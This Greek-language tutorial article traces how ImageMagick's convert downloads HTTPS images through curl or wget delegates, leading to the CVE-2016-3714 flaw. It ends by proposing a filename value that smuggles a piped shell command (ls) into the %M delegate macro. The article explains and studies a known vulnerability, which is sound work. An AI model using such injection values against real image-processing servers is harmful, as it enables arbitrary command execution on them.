Το προφίλ μας στο Google Plus
0

Η Αποκάλυψη μιας Σοβαρής Αδυναμίας

Στο πρώτο άρθρο της μίνι σειράς μας παρουσιάσαμε την εξαιρετικά χρήσιμη κι ευρέως διαδεδομένη σουίτα του ImageMagick. Συνεχίσαμε περιγράφοντας μια αδυναμία της που ανακαλύφθηκε πρόσφατα, η οποία έχει σοβαρές συνέπειες για την ασφάλεια της πλειονότητας των webservers στο Διαδίκτυο. Σ’ αυτό το άρθρο δείχνουμε πώς σκέφτεται κι εργάζεται ένας χρήστης του Linux με βασικές γνώσεις, στην προσπάθειά του να κατανοήσει τη φύση του προβλήματος που ταλανίζει τη σουίτα.

Όλοι μας κάποια στιγμή έχουμε έρθει αντιμέτωποι με τη μετατροπή μιας εικόνας από ένα format (π.χ., JPEG) σε κάποιο άλλο (π.χ., PNG). Λόγω συνήθειας, ο μέσος χρήστης θα χρησιμοποιήσει ένα πρόγραμμα επεξεργασίας εικόνας, όπως, π.χ., το Photoshop ή το GIMP — ή ακόμα και τον προεγκατεστημένο image viewer του λειτουργικού συστήματος. Εμείς πάλι νιώθουμε πολύ άνετα όταν δουλεύουμε από το τερματικό της γραμμής εντολών, σε βαθμό που να κάνουμε ό,τι μπορούμε ώστε να μην το εγκαταλείπουμε και να εργαζόμαστε διαρκώς από εκεί. Έστω λοιπόν ότι έχουμε βρει την εικόνα που θέλουμε, το URL της οποίας είναι το http://i.imgur.com/u68Vakj.jpg (το αρχείο είναι προσβάσιμο και από HTTPS link). Πρόκειται για μια εικόνα JPEG κι ας υποθέσουμε ότι επιθυμούμε να τη μετατρέψουμε σε εικόνα PNG. (Συνήθως συμβαίνει το αντίστροφο, όμως για την παρουσίασή μας δεν έχει καμία σημασία από ποιο format ξεκινάμε και σε ποιο καταλήγουμε.) Επίσης, επειδή το “u68Vakj” δεν μας πολυαρέσει ως όνομα αρχείου, θα το αλλάξουμε στο κάπως βαρετό αλλά απείρως πιο ανθρώπινο “image”.

Προκειμένου λοιπόν να πετύχουμε τα προηγούμενα, θα πρέπει αρχικά να κατεβάσουμε την εικόνα στον υπολογιστή μας –αν δεν την έχουμε ήδη τοπικά–, και στη συνέχεια να χρησιμοποιήσουμε την κατάλληλη εντολή για την μετατροπή της. Για το downloading θα καταφύγουμε στο γνωστό utility ονόματι wget:

panos@ohsuse:~> wget 'http://i.imgur.com/u68Vakj.jpg'
--2016-05-17 18:39:03--  http://i.imgur.com/u68Vakj.jpg
Resolving i.imgur.com (i.imgur.com)... 23.235.43.193
Connecting to i.imgur.com (i.imgur.com)|23.235.43.193|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35377 (35K) [image/jpeg]
Saving to: ‘u68Vakj.jpg’
100%[======================================>] 35,377 --.-K/s   in 0.07s   
2016-05-17 18:39:03 (499 KB/s) - ‘u68Vakj.jpg’ saved [35377/35377]

Για τη μετατροπή από το format JPEG στο format PNG, χρησιμοποιούμε την εντολή convert ως εξής:

panos@ohsuse:~> convert u68Vakj.jpg image.png

Βεβαιωνόμαστε ότι η μετατροπή πέτυχε κι ότι μπορούμε ν’ ανοίξουμε και να δούμε το PNG, είτε εντοπίζοντας το νέο αρχείο από τον file manager και κάνοντας δεξί κλικ πάνω του, είτε πληκτρολογώντας στο τερματικό μας το ακόλουθο:

panos@ohsuse:~> display image.png

Με τον δεύτερο τρόπο, θα παρατηρήσετε ότι το image.png ανοίγει σ’ ένα παράθυρο του ImageMagick. Αφού σιγουρευτούμε ότι όλα πήγαν καλά, κλείνουμε το παράθυρο ώστε να επανέλθει ο έλεγχος στο τερματικό κι αν θέλουμε διαγράφουμε τα αρχεία u68Vakj.jpg και image.png (δεν τα χρειαζόμαστε άλλο).

Εργασία από το ωραιότατο τερματικό μας, χωρίς τύψεις και με κέφι που περισσεύει: Κατεβάζουμε πρώτα την επιθυμητή εικόνα JPEG με το wget (1), τη μετατρέπουμε σε μορφή PNG με το convert (2), βεβαιωνόμαστε ότι όλα πήγαν κατ' ευχήν με το προγραμματάκι ονόματι display (3).

Εργασία από το ωραιότατο τερματικό μας, χωρίς τύψεις και με κέφι που περισσεύει: Κατεβάζουμε πρώτα την επιθυμητή εικόνα JPEG με το wget (1), τη μετατρέπουμε σε μορφή PNG με το convert (2), βεβαιωνόμαστε ότι όλα πήγαν κατ’ ευχήν με το προγραμματάκι ονόματι display (3).

Τι συμβαίνει πίσω από την κουρτίνα;
Επειδή μας άρεσε η προηγούμενη εμπειρία μετατροπής format εικόνας από το τερματικό, σκεφτήκαμε ν’ ανοίξουμε το man page του convert (πληκτρολογώντας “man convert”, χωρίς τα εισαγωγικά), έτσι ώστε να μάθουμε περισσότερα γι’ αυτό το πανίσχυρο, κατά πώς φαίνεται, εργαλείο. Διαβάζοντας το man page, δεν αργήσαμε να συνειδητοποιήσουμε ότι υπάρχει ένας ακόμα πιο εύκολος και βολικός τρόπος για να κάνουμε την προηγούμενη εργασία. Δείτε:

panos@ohsuse:~> convert 'http://i.imgur.com/u68Vakj.jpg' image.png

Κατέβασμα εικόνας και μετατροπή της σε διαφορετικό format από το τερματικό, δίνοντας *μία* μόνο εντολή.

Κατέβασμα εικόνας και μετατροπή της σε διαφορετικό format από το τερματικό, δίνοντας μία μόνο εντολή.

Στο παραπάνω παράδειγμα δίνουμε ως είσοδο απευθείας το URL προς την εικόνα που επιθυμούμε να μετατρέψουμε, χωρίς να χρειάζεται να την κατεβάσουμε πρώτα στον υπολογιστή μας. Μάλιστα μ’ αυτόν τον τρόπο γλιτώνουμε και το τελευταίο (προαιρετικό) βήμα της διαγραφής της αρχικής εικόνας, αφού δεν χρειάστηκε καν να την κατεβάσουμε. Ω, ναι, αυτό είναι πραγματικά βολικό! Είναι αξιέπαινη αυτή η άνετη αναγνώριση του HTTP link στην είσοδο, το ότι δηλαδή αντιστοιχεί σε εικόνα. Πώς να επιτυγχάνεται άραγε αυτός ο αυτοματισμός;

Αυτό ήταν! Πλέον το αξιέπαινο έγινε αξιοπερίεργο, και το αξιοπερίεργο με τη σειρά του είναι αρκετό για να ενεργοποιήσει τη δική μας περιέργεια. Ως αναγνώστες του deltaHacker, η περιέργεια για εμάς δεν είναι παρά η κινητήρια δύναμη της πνευματικής ικανοποίησης, η οποία μας βοηθά στο να μαθαίνουμε, να συνεχίζουμε και να προσπαθούμε διαρκώς. Κάπως έτσι λοιπόν ξεκινήσαμε το ταξίδι μας για την αποκάλυψη της μαγείας που συμβαίνει πίσω από την εντολή convert, προκειμένου να εξιχνιάσουμε το πώς ένα link γίνεται αποδεκτό στη θέση μιας εικόνας.

Αρχικά, θέλουμε να μάθουμε από πού ακριβώς προέρχεται αυτή η εντολή convert. Ποιο πακέτο περιλαμβάνει το σχετικό εκτελέσιμο; Δουλεύουμε στο αγαπημένο μας openSUSE Leap, οπότε θα καταφεύγουμε τώρα στο εργαλείο rpm. Για όσους δεν γνωρίζουν τα βασικά του rpm (Σ.τ.Ε. είναι ισχυρή μάστιγα το Debian και το APT :P), να πούμε ότι με την παράμετρο -q (query) δηλώνουμε ότι πρόκειται να ρωτήσουμε πληροφορίες για κάποιο αρχείο, ενώ και με την παράμετρο -f (file) διευκρινίζουμε ότι επιθυμούμε να μάθουμε το όνομα του πακέτου που το περιλαμβάνει — αν φυσικά υπάρχει. Χρειάζεται να δώσουμε την πλήρη διαδρομή (full path) προς το υπό εξέταση αρχείο (convert), το οποίο μαθαίνουμε με τη βοήθεια του εργαλείου which:

panos@ohsuse:~> which convert
/usr/bin/convert

Η πλήρης διαδρομή είναι η /usr/bin/convert. Επειδή όμως είμαστε λάτρεις της γραμμής εντολών και του scripting, δεν χάνουμε ευκαιρία για “συμπύκνωση” κι έτσι πληκτρολογούμε:

panos@ohsuse:~> rpm -qf $(which convert)
ImageMagick-6.8.8.1-6.1.x86_64

Ωραία. Βλέπουμε ότι το convert προέρχεται από το πακέτο ImageMagick, το οποίο έχουμε ήδη εγκατεστημένο στο σύστημά μας (συγκεκριμένα, την έκδοση 6.8.8.1-6.1, για επεξεργαστές αρχιτεκτονικής 64bit). Το επόμενο πράγμα που φυσιολογικά μας έρχεται κατά νου, είναι ότι θα χρειαστούμε τον πηγαίο κώδικα του ImageMagick. Σ’ αυτόν θ’ αναζητήσουμε περισσότερες πληροφορίες. Οφείλουμε λοιπόν να κατεβάσουμε το SRPM (Source RPM) της συγκεκριμένης έκδοσης που έχουμε εγκατεστημένη στον υπολογιστή μας. Έχουμε δύο επιλογές:

  1. να πάρουμε το Source RPM με τη βοήθεια του package manager (zypper)
  2. να βρούμε το archive του κώδικα και να το κατεβάσουμε ως ένα απλό αρχείο

Προκειμένου να καταστήσουμε το παρόν άρθρο λίγο περισότερο φιλικό προς όλες τις διανομές Linux, δεν θα βασιστούμε αποκλειστικά στο zypper αλλά θα πάρουμε τον πηγαίο κώδικα με τον παραδοσιακό τρόπο. Για να κατεβάσουμε λοιπόν το σχετικό αρχείο, πρέπει πρώτα να γνωρίζουμε πού στο καλό βρίσκεται. Μια και είμαστε στο openSUSE, ας ζητήσουμε από το zypper να μας επιστρέψει πληροφορίες περί του αποθετηρίου (repository) από το οποίο έγινε η εγκατάσταση του πακέτου ImageMagick.

Ως repository (φανταστείτε το σαν μια αποθήκη λογισμικού) ονομάζεται το μέρος στο οποίο πηγαίνει ο package manager, ψάχνει, βρίσκει και κατεβάζει τα προγράμματα που του ζητάμε. Φανταστείτε το αν θέλετε σαν έναν τεράστιο σκληρό δίσκο, με πάρα πολλά προγράμματα. Ας ζητήσουμε εκείνες τις πληροφορίες που λέγαμε:

panos@ohsuse:~> zypper se -is ImageMagic
Loading repository data...
Reading installed packages...

S | Name        | Type    | Version     | Arch   | Repository               
--+-------------+---------+-------------+--------+--------------------------
i | ImageMagick | package | 6.8.8.1-6.1 | x86_64 | Main Update Repository   
i | ImageMagick | package | 6.8.8.1-6.1 | x86_64 | openSUSE-Leap-42.1-Update

Ωραία, βλέπουμε ότι το πακέτο ImageMagick εγκαταστάθηκε στο σύστημά μας από το repository με όνομα openSUSE-Leap-42.1-Update. Εξακολουθούμε όμως να μη γνωρίζουμε τη δικτυακή διεύθυνση του αποθετηρίου. Μπορούμε ωστόσο να τη βρούμε, ρωτώντας και πάλι τον package manager:

panos@ohsuse:~> zypper lr -U | grep "openSUSE-Leap-42.1-Update"
 9 | repo-debug-update-non-oss       | openSUSE-Leap-42.1-Update-Debug-Non-Oss | No      | ----      | Yes     | http://download.opensuse.org/debug/update/leap/42.1/non-oss/                          
 8 | repo-debug-update               | openSUSE-Leap-42.1-Update-Debug         | No      | ----      | Yes     | http://download.opensuse.org/debug/update/leap/42.1/oss                               
11 | repo-update                     | openSUSE-Leap-42.1-Update               | Yes     | (r ) Yes  | Yes     | http://download.opensuse.org/update/leap/42.1/oss/

Γνωρίζοντας πλέον τον σύνδεσμο του openSUSE-Leap-42.1-Update (http://download.opensuse.org/update/leap/42.1/oss), ανοίγουμε τον αγαπημένο μας web browser και ψάχνουμε να βρούμε το αρχείο src.rpm της έκδοσης του ImageMagick που μας ενδιαφέρει. Μετά από λίγο, έχουμε το ακόλουθο URL:

http://download.opensuse.org/update/leap/42.1/oss/src/ImageMagick-6.8.8.1-6.1.src.rpm

Άψογα! Επιτέλους διαθέτουμε κάτι με το οποίο μπορούμε να παίξουμε.

Ως χρήστες του openSUSE, με τη βοήθεια του zypper είναι πολύ εύκολο να εγκαταστήσουμε το Source RPM ενός οποιουδήποτε πακέτου. Σημειώνουμε πάντως ότι το zypper δεν είναι απαραίτητο για τη λήψη Source RPMs. Αν μάλιστα έχουμε αρχίσει ν' ασχολούμαστε σχετικά πρόσφατα με το Linux και δεν χάνουμε ευκαιρία για διερευνητική εργασία, αξίζει ίσως ν' αναζητήσουμε το Source RPM που μας ενδιαφέρει *χωρίς* να καταφύγουμε στο zypper.

Ως χρήστες του openSUSE, με τη βοήθεια του zypper είναι πολύ εύκολο να εγκαταστήσουμε το Source RPM ενός οποιουδήποτε πακέτου. Σημειώνουμε πάντως ότι το zypper δεν είναι απαραίτητο για τη λήψη Source RPMs. Αν μάλιστα έχουμε αρχίσει ν’ ασχολούμαστε σχετικά πρόσφατα με το Linux και δεν χάνουμε ευκαιρία για διερευνητική εργασία, αξίζει ίσως ν’ αναζητήσουμε το Source RPM που μας ενδιαφέρει χωρίς να καταφύγουμε στο zypper.

Προετοιμάζουμε το έδαφος στον υπολογιστή μας, δημιουργώντας τον κατάλογο για την αποθήκευση του αρχείου με τον κώδικα. Θα δημιουργήσουμε δύο καταλόγους, τους οποίους θα ονομάσουμε before και after, κάτω από τον κατάλογο /tmp/test. Αυτό βέβαια δεν είναι υποχρεωτικό, αφού κάλλιστα μπορείτε να εργαστείτε στο home directory του χρήστη σας. Απλά, εμείς είμαστε λίγο παρανοϊκοί με την τακτοποίηση των καταλόγων και αρχείων στο σύστημά μας. Δείτε:

panos@ohsuse:~> mkdir -p /tmp/test/{before,after}
panos@ohsuse:~> cd /tmp/test/before

Κατεβάζουμε το αρχείο SRPM, μέσα στον κατάλογο before:

panos@ohsuse:/tmp/test/before> wget http://download.opensuse.org/update/leap/42.1/oss/src/ImageMagick-6.8.8.1-6.1.src.rpm

Ανοίγουμε το πακέτο SRPM, χρησιμοποιώντας το εργαλείο unrpm. Αν δεν το έχετε στο σύστημά σας, μπορείτε να το αποκτήσετε τώρα εγκαθιστώντας το πακέτο build:

panos@ohsuse:/tmp/test/before> sudo zypper -n in build

Το άνοιγμα του αρχείου src.rpm γίνεται έτσι:

panos@ohsuse:/tmp/test/before> unrpm ImageMagick-6.8.8.1-6.1.src.rpm
ImageMagick-6.8.8.1-6.1.src.rpm:	14979 blocks

Για την εξαγωγή των αρχείων που απαρτίζουν ένα οποιοδήποτε πακέτο RPM, το εργαλείο unrpm αποτελεί άριστη επιλογή. Σε περίπτωση που δεν είναι παρόν στο σύστημά μας, το φέρνουμε εγκαθιστώντας, με το zypper, το πακέτο ονόματι build. Αλλά και η εγκατάσταση του build δεν είναι υποχρεωτική, αφού αντί για το unrpm υπάρχει και δυνατότητα για χρήση του rpm2cpi (το οποίο είναι παρόν αμέσως μετά την εγκατάσταση του openSUSE).

Για την εξαγωγή των αρχείων που απαρτίζουν ένα οποιοδήποτε πακέτο RPM, το εργαλείο unrpm αποτελεί άριστη επιλογή. Σε περίπτωση που δεν είναι παρόν στο σύστημά μας, το φέρνουμε εγκαθιστώντας, με το zypper, το πακέτο ονόματι build. Αλλά και η εγκατάσταση του build δεν είναι υποχρεωτική, αφού αντί για το unrpm υπάρχει και δυνατότητα για χρήση του rpm2cpi (το οποίο είναι παρόν αμέσως μετά την εγκατάσταση του openSUSE).

Ξέρετε κάτι; Βρισκόμαστε στο Linux, και στο Linux η ίδια δουλειά γίνεται με περισσότερους από έναν τρόπους. Εν προκειμένω, το src.rpm του ImageMagick αποσυμπιέζεται και χωρίς το unrpm, έτσι:

panos@ohsuse:/tmp/test/before> rpm2cpio ImageMagick-6.8.8.1-6.1.src.rpm | cpio -idmv
ImageMagick-6.6.8.9-doc.patch
ImageMagick-6.6.8.9-examples.patch
ImageMagick-6.7.6.1-no-dist-lzip.patch
ImageMagick-6.8.4.0-dont-build-in-install.patch
ImageMagick-6.8.4.0-rpath.patch
ImageMagick-6.8.5.7-no-XPMCompliance.patch
ImageMagick-6.8.8-1.tar.xz
ImageMagick-6.8.8-1.tar.xz.asc
ImageMagick-6.8.8.1-display-stdin.patch
ImageMagick-CVE-2014-8354.patch
ImageMagick-CVE-2014-8355.patch
ImageMagick-CVE-2014-8562.patch
ImageMagick-CVE-2014-8716.patch
ImageMagick-pdf-img-compression.patch
ImageMagick.changes
ImageMagick.keyring
ImageMagick.spec
baselibs.conf
disable_mat_test.patch
14979 blocks

Σε κάθε περίπτωση, παίρνουμε όλα τα αρχεία που απαρτίζουν το πακέτο. Το αρχείο που περιέχει τον πηγαίο κώδικα είναι το ImageMagick-6.8.8.1.tar.xz κι οφείλουμε να το αποσυμπιέσουμε:

panos@ohsuse:/tmp/test/before> tar -xf ImageMagick-6.8.8-1.tar.xz

Από προεπιλογή, η εξαγωγή των αρχείων θα γίνει σε έναν καινούργιο κατάλογο ονόματι ImageMagick-6.8.8-1. Μεταβαίνουμε σ’ αυτό το directory και βλέπουμε τα περιεχόμενά του:

panos@ohsuse:/tmp/test/before> cd ImageMagick-6.8.8-1
panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> ls
aclocal.m4     filters              LICENSE        NEWS.txt        utilities
AUTHORS.txt    ImageMagick.spec.in  m4             NOTICE          version.sh
ChangeLog      images               magick         PerlMagick      wand
coders         index.html           Magick++       Platforms.txt   winpath.sh
common.shi.in  Install-mac.txt      magick.sh.in   QuickStart.txt  www
config         Install-unix.txt     Magickshr.opt  README.txt
configure      Install-vms.txt      Makefile.am    scripts
configure.ac   Install-windows.txt  Makefile.in    tests

Μάλιστα. Και τώρα; Ευτυχώς για λόγους καλής ψυχικής υγείας και γαλήνης, δεν συμμετέχουμε ενεργά στην ανάπτυξη του ImageMagick. Δεν έχουμε την παραμικρή ιδέα για τη δομή ή ο,τιδήποτε άλλο που σχετίζεται με την ανάπτυξη του συγκεκριμένου λογισμικού. Τι ψάχνουμε, λοιπόν; Μα, ένα στοιχείο που θα μας βοηθήσει να κατανοήσουμε πώς δουλεύει ο μηχανισμός κατά τον οποίο, παρόλο που δίνουμε ως είσοδο ένα link, το πρόγραμμα καταλαβαίνει ότι πρόκειται περί εικόνας. Θυμηθείτε τι κάναμε πριν διαβάσουμε το man page: καταφύγαμε στο wget!

Σκεφτόμαστε λοιπόν ότι το ImageMagick ίσως να χρησιμοποιεί κι αυτό το wget, χωρίς να το γνωρίζουμε. Δεν είναι και πολύ τραβηγμένη υπόθεση. Γιατί να εφεύρεις τον τροχό, όταν τον έχεις ήδη; Θυμηθείτε άλλωστε ότι στον κόσμο του Linux έχουμε πολλά μικρά εργαλεία που κάνουν καλά μια συγκεκριμένη δουλειά και συνεργάζονται ή συνδυάζονται μεταξύ τους. Όταν λοιπόν έχεις το wget που είναι καλό στο downloading, γιατί να μην το χρησιμοποιείς όποτε χρειάζεσαι κάτι από το δίκτυο;

Αυτή τη στιγμή, δεν μένει παρά να ψάξουμε στα αρχεία πηγαίου κώδικα του ImageMagick, ώστε να ελέγξουμε την υπόθεσή μας. Επειδή όμως τα αρχεία είναι πολλά και για μια αναζήτηση σε καθένα εξ αυτών θα χρειαζόμασταν άπειρο χρόνο (πφ, υπερβολές), θα καταφύγουμε σ’ άλλο ένα εξειδικευμένο εργαλείο: το grep. Στη σύνταξη της σχετικής εντολής θα εμπλέξουμε συγκεκριμένες παραμέτρους, για τις οποίες μπορείτε να μάθετε περισσότερα από το man page του grep (“man grep”, χωρίς τα εισαγωγικά).

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> grep -rwn . -e 'wget'
./magick/delegate.c:95:    "  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

Διάνα! Βρήκαμε κάτι στη γραμμή 95 του αρχείου delegate.c. Για να κάνουμε το αποτέλεσμα πιο ευδιάκριτο, αντικαθιστούμε το " με το αντίστοιχο σύμβολο από το πληκτρολόγιο (διπλό εισαγωγικό, “):

"<delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

Με απλά λόγια, αυτό που λέει το παραπάνω κομμάτι κώδικα είναι: αν σου δώσει ο χρήστης ως είσοδο κάποιον σύνδεσμο https, τότε τρέξε την εντολή

"wget" -q -O "%o" "https:%M"

Πράγματι λοιπόν, βλέπουμε ότι το ImageMagick κάνει χρήση του wget σε συνδυασμό με κάποιες παραμέτρους. Ας ανοίξουμε το man page (“man wget”), ώστε να τις γνωρίσουμε:

-q
--quiet
    Turn off Wget's output.

-O file
--output-document=file
    The documents will not be written to the appropriate files,
    but all will be concatenated together and written to file.

Με τη χρήση του -q ο χρήστης δεν βλέπει κανένα output προερχόμενο από το wget, ενώ με το -O αποθηκεύουμε το αρχείο που κατεβαίνει με το όνομα που θέλουμε. Τι σημαίνουν όμως τα %ο και %Μ; Θα χρησιμοποιήσουμε και πάλι την εντολή grep, καθώς δεν βρήκαμε κάτι σχετικό στο man page του wget κι αυτό μας κάνει να υποψιαζόμαστε ότι πρέπει να προέρχονται από το ImageMagick.

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> grep -rwn . -e '%o\|%M'
./www/escape.html:286:   %o   output filename  (used for delegates)
./www/escape.html:302:   %M   Magick filename (original file exactly as given,  including read mods)

Τα βρήκαμε! Βλέπουμε ότι είναι ειδικοί χαρακτήρες (macros) που χρησιμοποιεί το ImageMagick, ώστε να περνά πληροφορίες περί εισόδου κι εξόδου. Για την ώρα δεν γνωρίζουμε την έννοια delegate (αναφέρεται στη γραμμή 286), αλλά υποψιαζόμαστε ότι πρέπει να παίζει κάποιο ρόλο στην όλη υπόθεση. Έχοντας συλλέξει αρκετές πληροφορίες, μπορούμε να πούμε με περισσότερη αυτοπεποίθηση ότι πίσω από την εντολή convert εκτελούνται εντολές σαν την ακόλουθη:

wget -q -O "image.png" https://i.imgur.com/u68Vakj.jpg

Τώρα όμως προκύπτει ένα άλλο ερώτημα: Τι γίνεται στην περίπτωση που δεν έχουμε το wget εγκατεστημένο στο σύστημά μας; Θα μπορούσαμε να το απεγκαταστήσουμε ή να το μετακινήσουμε σε μια μη-τυπική θέση — και να δοκιμάσουμε ξανά.

Το κάναμε. Διαπιστώσαμε ότι το ImageMagick κατάφερε και πάλι να κάνει τη μετατροπή — ακόμη και χωρίς το wget, δηλαδή. Προφανώς, για την περίπτωση απουσίας του wget το ImageMagick θα πρέπει να έχει πρόσβαση σε εναλλακτική λειτουργία. Σύμφωνα με το αποτέλεσμα που μας επέστρεψε το grep (για το wget), σκεφτόμαστε να ψάξουμε χρησιμοποιώντας το string ‘delegate decode’ και μετά να κάνουμε κι ένα grep, επί των όποιων αποτελεσμάτων, για οτιδήποτε σχετικό με το https:

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> grep -rwn . -e 'delegate decode=' | grep https
./www/source/delegates.xml:79:  <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
./magick/delegate.c:95:    "  <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

Καταλαβαίνουμε λοιπόν ότι για το https delegation, για το οποίο εξακολουθούμε να μην έχουμε ιδέα, χρησιμοποιείται και το εργαλείο curl. Είναι αλήθεια ότι αρκετές φορές έχουμε χρησιμοποιήσει το curl για χρήση παρόμοια μ’ αυτή του wget, άρα η παρουσία του εδώ δεν μας παραξενεύει ιδιαίτερα. Μετατρέποντας και πάλι τα " στον αντίστοιχο χαρακτήρα, παίρνουμε την ακόλουθη εντολή:

"curl" -s -k -o "%o" "https:%M"

Στο σημείο αυτό σίγουρα έχετε καταλάβει πώς εργαζόμαστε, οπότε δεν χρειάζεται να σας πούμε ότι πληκτρολογούμε “man curl”, ούτε ότι για τις παραμέτρους μαθαίνουμε τα εξής:

-s, --silent
Silent or quiet mode. Don't show progress meter or error messages. Makes Curl mute. It will still output the data you ask for, potentially even to the terminal/stdout unless you redirect it.

-k, --insecure
(SSL) This option explicitly allows curl to perform "insecure" SSL connections and transfers. All SSL connections are attempted to be made secure by using the CA certificate bundle installed by default. This makes all connections considered "insecure" fail unless -k, --insecure is used.

-o, --output <file>
Write output to <file> instead of stdout. If you are using {} or [] to fetch multiple documents, you can use '#' followed by a number in the <file> specifier. That variable will be replaced with the current string for the URL being fetched.

Προσέξτε παρακαλούμε την υποχρεωτική χρήση στο curl της παραμέτρου -k, η οποία επιτρέπει ακόμη και συνδέσεις HTTPS που δεν είναι ασφαλείς.

Delegation: Η Αχίλλειος Πτέρνα
Πριν συνεχίσουμε πρέπει να μάθουμε σε τι στο καλό αφορά αυτή η έννοια του delegation. Εντάξει, κάπου πηγαίνει το μυαλό όλων μας, καλό είναι όμως να βεβαιωθούμε. Ανοίγουμε λοιπόν το https://search.disconnect.me ή οποιαδήποτε άλλη μηχανή αναζήτησης προτιμάτε, και ξεκινάμε το ψάξιμο. Μετά από λίγα λεπτά περιήγησης στον ιστό, μπορούμε να πούμε ότι έχουμε καταλάβει τι εννοεί ο προγραμματιστής με το delegation.

Ουσιαστικά πρόκειται για ένα feature του ImageMagick, το οποίο του επιτρέπει να επικοινωνεί με ξένα εργαλεία και βιβλιοθήκες, ούτως ώστε να φέρει εις πέρας το καθήκον που του αναθέτει ο χρήστης. Για παράδειγμα, αν του ζητήσουμε να μας μετατρέψει μια εικόνα σε μορφή JPEG, τότε το λογισμικό θα πρέπει να μιλήσει με τη βιβλιόθηκη του JPEG. Εκτός από το JPEG υπάρχουν, προφανώς, κι άλλα delegation libraries, όπως εκείνα περί PNG, TIFF, TrueType κ.ά.

Χωρίς να χάνουμε χρόνο, ανοίγουμε το man page του ImageMagick και ψάχνουμε αναφορές προς την λέξη “delegate”. Διαπιστώνουμε πως για να δούμε όλα τα υποστηριζόμενα delegations, στο τερματικό αρκεί να πληκτρολογήσουμε τα ακόλουθα:

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> convert -list delegate

Τα αποτελέσματα που παίρνουμε δεν είναι και λίγα, οπότε αξίζει να τα φιλτράρουμε. Παράδειγμα:

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> convert -list delegate | grep http
https => "curl" -s -k -L -o "%o" "https:%M"

Είμαστε πλέον σίγουροι ότι η εντολή curl είναι αυτή που τρέχει στο σύστημά μας, όποτε ζητάμε από το ImageMagick ν’ ανακτήσει την εικόνα μέσω ενός HTTPS link.

“Μ” φορ μάτζικ
Ο λόγος γίνεται για το macro %M, το οποίο έχει την έννοια του Magic filename.

https => "curl" -s -k -L -o "%o" "https:%M"

Σύμφωνα με το CVE-2016–3714, ο “μαγικός” έλεγχος που κάνει το ImageMagick δεν είναι τόσο καλός όσο θα έπρεπε. Ως αποτέλεσμα, καθίσταται δυνατό το τραγικό σενάριο που θα περιγράψουμε σε πολύ λίγο. Προκειμένου να κατανοήσουμε καλά τι συμβαίνει, πηγαίνουμε πρώτα σ’ έναν προσωρινό κατάλογο και φτιάχνουμε μερικά αρχεία. Το περιεχόμενό τους δεν ενδιαφέρει και θα τα χρησιμοποιήσουμε καθαρά για την επίδειξη του υπό συζήτηση exploit.

panos@ohsuse:/tmp/test/before/ImageMagick-6.8.8-1> mkdir ~/test; cd ~/test
panos@ohsuse:~/test> touch file1 file2 file3 file4 file5

Πολύ ωραία. Το σενάριό μας λέει ότι θέλουμε να κατεβάσουμε την εικόνα από το https://i.imgur.com/u68Vakj.jpg και να την αποθηκεύσουμε ως image.jpg, κάνοντας χρήση της εντολής που χρησιμοποιεί το ImageMagick (αυτής, με το curl) κι αμέσως μετά επαληθεύοντας με το ls ότι έχουμε πράγματι το αρχείο image.jpg.

panos@ohsuse:~/test> curl -s -k -o image.jpg https://i.imgur.com/u68Vakj.jpg; ls -al
total 40
drwxr-xr-x  2 panos users    88 May 18 07:57 .
drwxr-xr-x 23 panos users  4096 May 18 07:53 ..
-rw-r--r--  1 panos users     0 May 18 07:53 file1
-rw-r--r--  1 panos users     0 May 18 07:53 file2
-rw-r--r--  1 panos users     0 May 18 07:53 file3
-rw-r--r--  1 panos users     0 May 18 07:53 file4
-rw-r--r--  1 panos users     0 May 18 07:53 file5
-rw-r--r--  1 panos users 35377 May 18 07:57 image.jpg

Τι θα λέγατε τώρα να δοκιμάζαμε κάτι παράξενο; Συγκεκριμένα, λέμε να διαγράψουμε το αρχείο image.jpg (“rm image.jpg”), να κατεβάσουμε ξανά την εικόνα κι αυτή τη φορά να τη διοχετεύσουμε, μέσω του pipe, στην εντολή ls. Έχει κάποιο νόημα αυτό; Όχι, δεν έχει. Μην ξεχνάτε όμως ότι τόσο οι επιτιθέμενοι (blackhat hackers) όσο και οι αμυνόμενοι (whitehat hackers, pen-testers, υπεύθυνοι ασφαλείας κ.ά.), δεν σκέφτονται συμβατικά.

panos@ohsuse:~/test> rm image.jpg
panos@ohsuse:~/test> curl -s -k -o image.jpg https://i.imgur.com/u68Vakj.jpg | ls -al
total 4
drwxr-xr-x  2 panos users   71 May 18 08:05 .
drwxr-xr-x 23 panos users 4096 May 18 07:53 ..
-rw-r--r--  1 panos users    0 May 18 07:53 file1
-rw-r--r--  1 panos users    0 May 18 07:53 file2
-rw-r--r--  1 panos users    0 May 18 07:53 file3
-rw-r--r--  1 panos users    0 May 18 07:53 file4
-rw-r--r--  1 panos users    0 May 18 07:53 file5
panos@ohsuse:~/test> ls -al
total 40
drwxr-xr-x  2 panos users    88 May 18 08:05 .
drwxr-xr-x 23 panos users  4096 May 18 07:53 ..
-rw-r--r--  1 panos users     0 May 18 07:53 file1
-rw-r--r--  1 panos users     0 May 18 07:53 file2
-rw-r--r--  1 panos users     0 May 18 07:53 file3
-rw-r--r--  1 panos users     0 May 18 07:53 file4
-rw-r--r--  1 panos users     0 May 18 07:53 file5
-rw-r--r--  1 panos users 35377 May 18 08:05 image.jpg

Παρατηρούμε ότι, αν και δεν έχει κανένα νόημα αυτό που κάναμε, το αποτέλεσμα είναι το ίδιο. Εδώ λοιπόν προκύπτει το ερώτημα: Τι θα γίνει αν, αντί για το link, τροφοδοτήσουμε στο Magicfile (%M) το link μαζί με το pipe προς μία εντολή, όπως, π.χ., την ls; Με άλλα λόγια, θέλουμε να δούμε τι θα γίνει αν δώσουμε μια εντολή στο convert του ImageMagick, έτσι ώστε να ισχύει

M% = //i.imgur.com/u68Vakj.jpg"|ls "-la

Τι θα συμβεί; Πάμε να το δούμε!

